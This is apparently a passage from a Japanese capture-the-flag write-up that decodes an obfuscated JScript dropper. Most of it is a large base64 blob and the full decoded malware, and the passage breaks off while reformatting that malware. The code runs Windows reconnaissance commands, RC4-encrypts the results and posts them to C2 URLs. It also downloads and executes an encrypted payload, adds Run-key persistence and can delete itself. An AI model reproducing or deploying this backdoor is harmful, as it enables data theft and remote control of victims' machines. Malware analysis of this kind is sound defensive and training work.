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";
    return r
}|

再び,JavaScript のコードが得られる.

function S7EN(KL3M){var gfjd=WScript.CreateObject("ADODB.Stream");gfjd.Type=2;gfjd.CharSet="437";gfjd.Open();gfjd.LoadFromFile(KL3M);var j3k6=gfjd.ReadText;gfjd.Close();return l9BJ(j3k6)}var WQuh=new Array("http://challenge.htb/wp-includes/pomo/db.php","http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php");var zIRF="KRMLT0G3PHdYjnEm";var LwHA=new Array("systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >> ","ipconfig /all >> ","arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user /domain >> ","net user administrator /domain >> ","set  >> ","dir %systemdrive%\\Users\\*.* >> ","dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ","dir %userprofile%\\Desktop\\*.* >> ",'tasklist /fi "modules eq wow64.dll"  >> ','tasklist /fi "modules ne wow64.dll" >> ','dir "%programfiles(x86)%" >> ','dir "%programfiles%" >> ',"dir %appdata% >>");var Z6HQ=new ActiveXObject("Scripting.FileSystemObject");var EBKd=WScript.ScriptName;var Vxiu="";var lDd9=a0rV();function DGbq(xxNA,j5zO){char_set="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var bzwO="";var sW_c="";for(var i=0;i<xxNA.length;++i){var W0Ce=xxNA.charCodeAt(i);var o_Nk=W0Ce.toString(2);while(o_Nk.length<(j5zO?8:16))o_Nk="0"+o_Nk;sW_c+=o_Nk;while(sW_c.length>=6){var AaP0=sW_c.slice(0,6);sW_c=sW_c.slice(6);bzwO+=this.char_set.charAt(parseInt(AaP0,2))}}if(sW_c){while(sW_c.length<6)sW_c+="0";bzwO+=this.char_set.charAt(parseInt(sW_c,2))}while(bzwO.length%(j5zO?4:8)!=0)bzwO+="=";return bzwO}var lW6t=[];lW6t["C7"]="80";lW6t["FC"]="81";lW6t["E9"]="82";lW6t["E2"]="83";lW6t["E4"]="84";lW6t["E0"]="85";lW6t["E5"]="86";lW6t["E7"]="87";lW6t["EA"]="88";lW6t["EB"]="89";lW6t["E8"]="8A";lW6t["EF"]="8B";lW6t["EE"]="8C";lW6t["EC"]="8D";lW6t["C4"]="8E";lW6t["C5"]="8F";lW6t["C9"]="90";lW6t["E6"]="91";lW6t["C6"]="92";lW6t["F4"]="93";lW6t["F6"]="94";lW6t["F2"]="95";lW6t["FB"]="96";lW6t["F9"]="97";lW6t["FF"]="98";lW6t["D6"]="99";lW6t["DC"]="9A";lW6t["A2"]="9B";lW6t["A3"]="9C";lW6t["A5"]="9D";lW6t["20A7"]="9E";lW6t["192"]="9F";lW6t["E1"]="A0";lW6t["ED"]="A1";lW6t["F3"]="A2";lW6t["FA"]="A3";lW6t["F1"]="A4";lW6t["D1"]="A5";lW6t["AA"]="A6";lW6t["BA"]="A7";lW6t["BF"]="A8";lW6t["2310"]="A9";lW6t["AC"]="AA";lW6t["BD"]="AB";lW6t["BC"]="AC";lW6t["A1"]="AD";lW6t["AB"]="AE";lW6t["BB"]="AF";lW6t["2591"]="B0";lW6t["2592"]="B1";lW6t["2593"]="B2";lW6t["2502"]="B3";lW6t["2524"]="B4";lW6t["2561"]="B5";lW6t["2562"]="B6";lW6t["2556"]="B7";lW6t["2555"]="B8";lW6t["2563"]="B9";lW6t["2551"]="BA";lW6t["2557"]="BB";lW6t["255D"]="BC";lW6t["255C"]="BD";lW6t["255B"]="BE";lW6t["2510"]="BF";lW6t["2514"]="C0";lW6t["2534"]="C1";lW6t["252C"]="C2";lW6t["251C"]="C3";lW6t["2500"]="C4";lW6t["253C"]="C5";lW6t["255E"]="C6";lW6t["255F"]="C7";lW6t["255A"]="C8";lW6t["2554"]="C9";lW6t["2569"]="CA";lW6t["2566"]="CB";lW6t["2560"]="CC";lW6t["2550"]="CD";lW6t["256C"]="CE";lW6t["2567"]="CF";lW6t["2568"]="D0";lW6t["2564"]="D1";lW6t["2565"]="D2";lW6t["2559"]="D3";lW6t["2558"]="D4";lW6t["2552"]="D5";lW6t["2553"]="D6";lW6t["256B"]="D7";lW6t["256A"]="D8";lW6t["2518"]="D9";lW6t["250C"]="DA";lW6t["2588"]="DB";lW6t["2584"]="DC";lW6t["258C"]="DD";lW6t["2590"]="DE";lW6t["2580"]="DF";lW6t["3B1"]="E0";lW6t["DF"]="E1";lW6t["393"]="E2";lW6t["3C0"]="E3";lW6t["3A3"]="E4";lW6t["3C3"]="E5";lW6t["B5"]="E6";lW6t["3C4"]="E7";lW6t["3A6"]="E8";lW6t["398"]="E9";lW6t["3A9"]="EA";lW6t["3B4"]="EB";lW6t["221E"]="EC";lW6t["3C6"]="ED";lW6t["3B5"]="EE";lW6t["2229"]="EF";lW6t["2261"]="F0";lW6t["B1"]="F1";lW6t["2265"]="F2";lW6t["2264"]="F3";lW6t["2320"]="F4";lW6t["2321"]="F5";lW6t["F7"]="F6";lW6t["2248"]="F7";lW6t["B0"]="F8";lW6t["2219"]="F9";lW6t["B7"]="FA";lW6t["221A"]="FB";lW6t["207F"]="FC";lW6t["B2"]="FD";lW6t["25A0"]="FE";lW6t["A0"]="FF";function a0rV(){var YrUH=Math.ceil(Math.random()*10+25);var name=String.fromCharCode(Math.ceil(Math.random()*24+65));var JKfG=WScript.CreateObject("WScript.Network");Vxiu=JKfG.UserName;for(var count=0;count<YrUH;count++){switch(Math.ceil(Math.random()*3)){case 1:name=name+Math.ceil(Math.random()*8);break;case 2:name=name+String.fromCharCode(Math.ceil(Math.random()*24+97));break;default:name=name+String.fromCharCode(Math.ceil(Math.random()*24+65));break}}return name}var icVh=Jp6A(HAP5());try{var CJPE=HAP5();W6cM();Syrl()}catch(e){WScript.Quit()}function Syrl(){var m2n0=xhOC();while(true){for(var i=0;i<WQuh.length;i++){var bx_4=WQuh[i];var czlA=V9iU(bx_4,m2n0);switch(czlA){case"good":break;case"exit":WScript.Quit();break;case"work":eRNv(bx_4);break;case"fail":I7UO();break;default:break}a0rV()}WScript.Sleep((Math.random()*300+3600)*1e3)}}function HAP5(){var zkDC=this["ActiveXObject"];var jVNP=new zkDC("WScript.Shell");return jVNP}function eRNv(caA2){var jpVh=icVh+EBKd.substring(0,EBKd.length-2)+"pif";var S47T=new ActiveXObject("MSXML2.XMLHTTP");S47T.OPEN("post",caA2,false);S47T.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1; Win64; x64); "+he50());S47T.SETREQUESTHEADER("content-type:","application/octet-stream");S47T.SETREQUESTHEADER("content-length:","4");S47T.SETREQUESTHEADER("Cookie:","flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");S47T.SEND("work");if(Z6HQ.FILEEXISTS(jpVh)){Z6HQ.DELETEFILE(jpVh)}if(S47T.STATUS==200){var gfjd=new ActiveXObject("ADODB.STREAM");gfjd.TYPE=1;gfjd.OPEN();gfjd.WRITE(S47T.responseBody);gfjd.Position=0;gfjd.Type=2;gfjd.CharSet="437";var j3k6=gfjd.ReadText(gfjd.Size);var RAKT=t7Nl("2f532d6baec3d0ec7b1f98aed4774843",l9BJ(j3k6));Trql(RAKT,jpVh);gfjd.Close()}var lDd9=a0rV();nr3z(jpVh,caA2);WScript.Sleep(3e4);Z6HQ.DELETEFILE(jpVh)}function I7UO(){Z6HQ.DELETEFILE(WScript.SCRIPTFULLNAME);CJPE.REGDELETE("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\"+EBKd.substring(0,EBKd.length-3));WScript.Quit()}function V9iU(pxug,tqDX){try{var S47T=new ActiveXObject("MSXML2.XMLHTTP");S47T.OPEN("post",pxug,false);S47T.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1; Win64; x64); "+he50());S47T.SETREQUESTHEADER("content-type:","application/octet-stream");var SoNI=DGbq(tqDX,true);S47T.SETREQUESTHEADER("content-length:",SoNI.length);S47T.SEND(SoNI);return S47T.responseText}catch(e){return""}}function he50(){var wXgO="";var JKfG=WScript.CreateObject("WScript.Network");var SoNI=zIRF+JKfG.ComputerName+Vxiu;for(var i=0;i<16;i++){var DXHy=0;for(var j=i;j<SoNI.length-1;j++){DXHy=DXHy^SoNI.charCodeAt(j)}DXHy=DXHy%10;wXgO=wXgO+DXHy.toString(10)}wXgO=wXgO+zIRF;return wXgO}function W6cM(){v_FileName=icVh+EBKd.substring(0,EBKd.length-2)+"js";Z6HQ.COPYFILE(WScript.ScriptFullName,icVh+EBKd);var zIqu=(Math.random()*150+350)*1e3;WScript.Sleep(zIqu);CJPE.REGWRITE("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\"+EBKd.substring(0,EBKd.length-3),"wscript.exe //B "+String.fromCharCode(34)+icVh+EBKd+String.fromCharCode(34)+" NPEfpRZ4aqnh1YuGwQd0","REG_SZ")}function xhOC(){var U5rJ=icVh+"~dat.tmp";for(var i=0;i<LwHA.length;i++){CJPE.Run("cmd.exe /c "+LwHA[i]+'"'+U5rJ+"",0,true)}var jxHd=S7EN(U5rJ);WScript.Sleep(1e3);Z6HQ.DELETEFILE(U5rJ);return t7Nl("2f532d6baec3d0ec7b1f98aed4774843",jxHd)}function nr3z(jpVh,caA2){try{if(Z6HQ.FILEEXISTS(jpVh)){CJPE.Run('"'+jpVh+'"')}}catch(e){var S47T=new ActiveXObject("MSXML2.XMLHTTP");S47T.OPEN("post",caA2,false);var ND3M="error";S47T.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1; Win64; x64); "+he50());S47T.SETREQUESTHEADER("content-type:","application/octet-stream");S47T.SETREQUESTHEADER("content-length:",ND3M.length);S47T.SEND(ND3M);return""}}function poBP(QQDq){var HiEg="0123456789ABCDEF";var L9qj=HiEg.substr(QQDq&15,1);while(QQDq>15){QQDq>>>=4;L9qj=HiEg.substr(QQDq&15,1)+L9qj}return L9qj}function JbVq(x4hL){return parseInt(x4hL,16)}function l9BJ(Wid9){var wXgO=[];var pV8q=Wid9.length;for(var i=0;i<pV8q;i++){var yWql=Wid9.charCodeAt(i);if(yWql>=128){var h=lW6t[""+poBP(yWql)];yWql=JbVq(h)}wXgO.push(yWql)}return wXgO}function Trql(EQ4R,K5X0){var gfjd=WScript.CreateObject("ADODB.Stream");gfjd.type=2;gfjd.Charset="iso-8859-1";gfjd.Open();gfjd.WriteText(EQ4R);gfjd.Flush();gfjd.Position=0;gfjd.SaveToFile(K5X0,2);gfjd.close()}function Jp6A(KgOm){icVh="c:\\Users\\"+Vxiu+"\\AppData\\Local\\Microsoft\\Windows\\";if(!Z6HQ.FOLDEREXISTS(icVh))icVh="c:\\Users\\"+Vxiu+"\\AppData\\Local\\Temp\\";if(!Z6HQ.FOLDEREXISTS(icVh))icVh="c:\\Documents and Settings\\"+Vxiu+"\\Application Data\\Microsoft\\Windows\\";return icVh}function t7Nl(npmb,AIsp){var M4tj=[];var KRYr=0;var FPIW;var wXgO="";for(var i=0;i<256;i++){M4tj[i]=i}for(var i=0;i<256;i++){KRYr=(KRYr+M4tj[i]+npmb.charCodeAt(i%npmb.length))%256;FPIW=M4tj[i];M4tj[i]=M4tj[KRYr];M4tj[KRYr]=FPIW}var i=0;var KRYr=0;for(var y=0;y<AIsp.length;y++){i=(i+1)%256;KRYr=(KRYr+M4tj[i])%256;FPIW=M4tj[i];M4tj[i]=M4tj[KRYr];M4tj[KRYr]=FPIW;wXgO+=String.fromCharCode(AIsp[y]^M4tj[(M4tj[i]+M4tj[KRYr])%256])}return wXgO}

読みやすくする.

function S7EN(KL3M) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.Type = 2;
    gfjd.CharSet = "437";
    gfjd.Open();
    gfjd.LoadFromFile(KL3M);
    var j3k6 = gfjd.ReadText;
    gfjd.Close();
    return l9BJ(j3k6)
}

var WQuh = new Array("http://challenge.htb/wp-includes/pomo/db.php", "http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php");
var zIRF = "KRMLT0G3PHdYjnEm";
var LwHA = new Array("systeminfo > ", "net view >> ", "net view /domain >> ", "tasklist /v >> ", "gpresult /z >> ", "netstat -nao >> ", "ipconfig /all >> ", "arp -a >> ", "net share >> ", "net use >> ", "net user >> ", "net user administrator >> ", "net user /domain >> ", "net user administrator /domain >> ", "set  >> ", "dir %systemdrive%\\Users\\*.* >> ", "dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ", "dir %userprofile%\\Desktop\\*.* >> ", 'tasklist /fi "modules eq wow64.dll"  >> ', 'tasklist /fi "modules ne wow64.dll" >> ', 'dir "%programfiles(x86)%" >> ', 'dir "%programfiles%" >> ', "dir %appdata% >>");
var Z6HQ = new ActiveXObject("Scripting.FileSystemObject");
var EBKd = WScript.ScriptName;
var Vxiu = "";
var lDd9 = a0rV();

function DGbq(xxNA, j5zO) {
    char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var bzwO = "";
    var sW_c = "";
    for (var i = 0; i < xxNA.length; ++i) {
        var W0Ce = xxNA.charCodeAt(i);
        var o_Nk = W0Ce.toString(2);
        while (o_Nk.length < (j5zO ? 8 : 16)) o_Nk = "0" + o_Nk;
        sW_c += o_Nk;
        while (sW_c.length >= 6) {
